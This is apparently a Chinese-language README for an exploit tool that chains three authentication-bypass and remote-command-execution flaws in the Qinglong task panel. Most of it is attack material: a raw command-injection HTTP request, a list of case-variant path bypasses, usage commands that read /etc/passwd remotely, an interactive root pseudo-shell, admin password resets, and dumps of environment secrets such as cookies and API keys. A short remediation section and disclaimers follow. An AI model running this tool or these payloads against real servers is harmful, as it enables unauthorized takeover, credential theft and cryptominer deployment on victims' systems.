qinglong-combo-exp 是一个针对青龙面板(Qinglong) 多个高危漏洞的组合利用工具,整合了三个公开漏洞的完整利用链,支持漏洞扫描、远程命令执行、认证绕过、凭证重置和信息转储等功能。
青龙面板是一款开源的定时任务管理与脚本自动化运行平台,广泛部署于个人服务器、NAS 设备及企业内网环境。2026 年 2 月披露的多个漏洞允许攻击者在未授权的情况下绕过身份认证并执行任意系统命令,已有在野利用被用于挖矿木马传播。
⚠️ 本工具仅用于授权的安全测试与漏洞研究。未经授权对目标系统进行测试属于违法行为。
| 漏洞编号 | 漏洞名称 | 类型 | CVSS | 利用向量 |
|---|---|---|---|---|
| QVD-2026-10895 | 青龙面板身份认证绕过漏洞 | 认证绕过 | 9.8 | 大小写变体 + /open/user/init 重置凭证 |
| CVE-2026-3965 | 青龙面板远程命令执行漏洞 | RCE | 9.8 | /apI/system/command-run 命令注入 |
| CVE-2026-4047 | 青龙面板大小写敏感认证绕过 | 认证绕过 | 9.3 | /aPi/ 等多路径大小写变体 |
青龙面板存在多个认证绕过漏洞:
- 路径大小写变体绕过:安全中间件对
/api/路径进行大小写敏感匹配,但底层 Express.js 框架对路由大小写不敏感。使用/API/、/apI/、/aPi/等变体可绕过 JWT 认证。 - 初始化接口绕过:
/open/user/init路径在已初始化的系统上仍可访问,攻击者可重置管理员凭证并获取访问权限。
/system/command-run 接口直接将用户传入的 command 参数拼接至 exec() 执行,未做任何过滤。结合大小写绕过,攻击者可在未授权情况下执行任意系统命令:
PUT /apI/system/command-run HTTP/1.1
Host: target:5700
Content-Type: application/json
{"command":"id"}安全层使用大小写敏感的正则表达式匹配受保护路由,但 Express.js 对路由大小写不敏感。通过以下变体均可绕过认证:
/apI/ /APi/ /Api/ /aPi/ /API/ /ApI/ /aPI/
- 受影响版本:Qinglong <= 2.20.1
- 修复版本:Qinglong >= 2.20.2
- 默认端口:
5700 - 平台:Linux x86_64、ARM64、macOS
- 在野利用:已发现被用于挖矿木马(
.fullgc)传播 - 国内风险资产:约 17,000+(奇安信鹰图测绘数据)
- 🔍 多漏洞扫描:同时检测 QVD-2026-10895、CVE-2026-3965、CVE-2026-4047
- 🎯 指纹识别:自动识别青龙面板及版本,与修复版本比对
- 🔓 自动绕过探测:9 种大小写变体自动尝试,定位可用绕过路径
- 💻 远程命令执行:通过
command-run接口执行任意系统命令 - 🐚 交互式伪 Shell:连续执行命令,模拟终端交互
- 🔑 凭证重置:通过
/open/user/init重置管理员密码并获取 Token - 📦 信息转储:批量抓取系统信息、用户、环境变量、定时任务、脚本列表
- 🌐 代理支持:支持 HTTP 代理,可挂 Burp Suite 抓包
- 📊 结果汇总:扫描结束后输出结构化的漏洞汇总报告
- Python 3.8+
- requests 库
# 克隆仓库
git clone https://github.com/kk3432/Qinglong-Combo-Exploit.git
cd Qinglong-Combo-Exploit
# 安装依赖
pip3 install requests
# 验证安装
python3 qinglong_combo_exp.py --helpcurl -sO https://raw.githubusercontent.com/kk3432/Qinglong-Combo-Exploit/main/qinglong_combo_exp.py
pip3 install requests
python3 qinglong_combo_exp.py -u http://target:5700 --scanpython3 qinglong_combo_exp.py -u <目标URL> [选项] <模式>| 模式 | 说明 |
|---|---|
--scan |
扫描全部三个漏洞,输出汇总报告 |
--rce "命令" |
CVE-2026-3965 执行单次命令 |
--shell |
进入交互式伪 Shell |
--reset |
QVD-2026-10895 重置管理员密码 |
--dump |
利用认证绕过转储目标信息 |
--all |
执行完整利用链(扫描+利用+转储) |
| 选项 | 说明 | 默认值 |
|---|---|---|
-u, --url |
目标 URL(必填) | - |
-t, --timeout |
请求超时秒数 | 10 |
--proxy |
HTTP 代理地址 | 无 |
-user, --username |
重置密码时的用户名 | admin |
-pass, --password |
重置密码时的新密码 | P@ssw0rd123 |
# 扫描单个目标
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --scan
# 通过代理扫描
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --scan --proxy http://127.0.0.1:8080输出示例:
[*] 目标: http://192.168.1.100:5700
[*] 正在进行指纹识别...
[+] 识别到青龙面板 Web 界面
[+] 青龙面板版本: 2.20.1
[VULN] 版本 2.20.1 < 2.20.2,存在已知漏洞
==================================================
开始漏洞扫描...
==================================================
[QVD-2026-10895] 检测身份认证绕过...
[VULN] QVD-2026-10895: 大小写变体绕过可用 (/apI/)
[CVE-2026-3965] 检测远程命令执行...
[VULN] CVE-2026-3965: command-run 接口可未授权执行命令(回显 uid/gid)
[+] 命令执行回显: uid=0(root) gid=0(root) groups=0(root)
[CVE-2026-4047] 检测大小写敏感认证绕过...
[VULN] CVE-2026-4047: 发现 3 个大小写绕过路径: /apI/, /APi/, /Api/
==================================================
# 执行单条命令
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --rce "id"
# 读取系统文件
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --rce "cat /etc/passwd"
# 查看网络连接
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --rce "netstat -tlnp"
# 查看进程(排查挖矿)
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --rce "ps aux | grep fullgc"python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --shell[+] 进入交互式命令执行模式
[*] 输入命令执行,exit 退出,clear 清屏
[*] 非交互式 shell,不支持 cd,用 sh -c 'cd /tmp && pwd'
[qinglong-combo]$ id
uid=0(root) gid=0(root) groups=0(root)
[qinglong-combo]$ whoami
root
[qinglong-combo]$ uname -a
Linux qinglong 5.15.0-generic #1 SMP x86_64 GNU/Linux
[qinglong-combo]$ exit
[*] 退出交互模式
# 使用默认用户名 admin
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --reset
# 自定义用户名和密码
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --reset -user hacker -pass MyPass123
⚠️ 此操作会实际修改目标管理员密码,仅用于授权测试。
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --dump转储内容包括:
- 系统信息(版本、平台、运行时间)
- 用户列表(用户名、邮箱、头像)
- 环境变量(可能包含京东 Cookie、API Key 等敏感信息)
- 定时任务列表(任务名称、Cron 表达式、脚本路径)
- 脚本文件列表
结果保存为 qinglong_dump_<host>_<timestamp>.json。
python3 qinglong_combo_exp.py -u http://192.168.1.100:5700 --all依次执行:指纹识别 → 三漏洞扫描 → 命令执行(id/whoami/uname/pwd)→ 信息转储。
目标 URL
│
▼
┌─────────────┐
│ 指纹识别 │ 检测页面标题、API 响应、版本号
└──────┬──────┘
│
▼
┌─────────────────────────────────────────┐
│ 漏洞检测模块 │
│ │
│ QVD-2026-10895 │
│ ├─ POST /open/user/init → 检测可访问性│
│ └─ 大小写变体路径 → 检测认证绕过 │
│ │
│ CVE-2026-3965 │
│ └─ PUT /apI/system/command-run │
│ body: {"command":"id"} │
│ → 检测响应中 uid=/gid= │
│ │
│ CVE-2026-4047 │
│ ├─ 9 种大小写变体路径探测 │
│ └─ 多受保护接口访问测试 │
│ (system/user/crons/env/scripts) │
└─────────────────────────────────────────┘
│
▼
漏洞汇总报告
工具自动尝试以下 9 种路径变体,找到第一个可用的绕过路径:
/api/ (正常路径,需认证 - 基线)
/apI/ /APi/ /Api/ /aPi/ /API/ /ApI/ /aPI/
更新至青龙面板 v2.20.2 或更高版本:
# Docker 部署
docker pull whyour/qinglong:latest
docker-compose up -d
# 或指定版本
docker pull whyour/qinglong:2.20.2- 不要将面板直接暴露到公网
- 使用 VPN 或零信任隧道(如 Cloudflare Tunnel、Tailscale)访问
- 配置防火墙限制源 IP 访问 5700 端口
- 启用 HTTPS 和反向代理(Nginx/Caddy)
如已运行受影响版本,假设系统已被入侵:
# 检查挖矿进程
ps aux | grep -E 'fullgc|\.gc'
ls -la /root/.fullgc ~/.fullgc 2>/dev/null
# 检查异常定时任务
crontab -l
cat /etc/crontab
# 检查异常网络连接
netstat -tlnp | grep -v '127.0.0.1'
# 检查管理员账号
# 登录面板查看用户列表升级后立即修改所有管理员密码,假设旧凭证已泄露。同时检查环境变量中是否有敏感信息(如京东 Cookie、API Key)被窃取。
本工具仅用于授权的安全测试、漏洞研究和教育目的。
- 使用者必须确保对目标系统拥有合法的测试授权
- 未经授权使用本工具对目标系统进行测试属于违法行为
- 因使用本工具而产生的一切法律责任由使用者自行承担
- 开发者不对因使用本工具而造成的任何直接或间接损失负责
请遵守当地法律法规,合法合规地使用本工具。
- 奇安信 CERT - 青龙面板身份认证绕过漏洞(QVD-2026-10895)安全风险通告
- GitHub Issue - CVE-2026-3965: whyour/qinglong has a Remote Command Execution Vulnerability
- Snyk - CVE-2026-3965 Remote Code Execution (RCE)
- Snyk - CVE-2026-4047 Improper Handling of Case Sensitivity
- The CyberTrove - Critical "Qinglong" 0-Day Is Hijacking Linux Servers
本项目基于 Apache License 2.0 开源。